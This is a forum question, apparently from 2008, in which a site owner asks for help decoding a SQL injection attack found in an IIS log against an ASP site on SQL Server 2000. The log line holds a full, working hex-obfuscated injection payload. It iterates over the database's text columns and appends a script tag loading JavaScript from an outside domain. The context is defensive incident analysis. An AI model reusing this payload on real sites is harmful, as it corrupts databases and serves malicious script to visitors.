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07.15.2008 at 01:36PM PDT, ID: 23567563
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8.8

Help decoding a SQL Injection attack

Asked by mklippel in SQL Query Syntax, MS SQL Server, Microsoft IIS Web Server

Tags: , , ,

We've been working on hardening our web site which is written in .asp  and uses SQL 2000 on the back-end. We've had a few SQL injection attacks and we're trying to decode what is being passed. Here's an example of the log from the IIS server.

xx.xx.xx.xx, -, 7/15/2008, 10:57:27, W3SVC1, WS01, xx.xx.xx.xx, 546, 1427, 6592, 200, 0, GET, /ers/rdr_login.asp, magradio=WW;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E746374636F772E636F6D2F6E67672E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--,

Does anyone have a good method or utility to decode what looks like hex code?

Many Thanks,

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[+][-]07.15.2008 at 01:39PM PDT, ID: 22010860

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About this solution

Zones: SQL Query Syntax, MS SQL Server, Microsoft IIS Web Server
Tags: Microsoft SQL or ASP, IIS/SQL, 2000, SQL injection code
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Solution Provided By: angelIII
Participating Experts: 4
Solution Grade: A
 
 
[+][-]07.15.2008 at 01:40PM PDT, ID: 22010874

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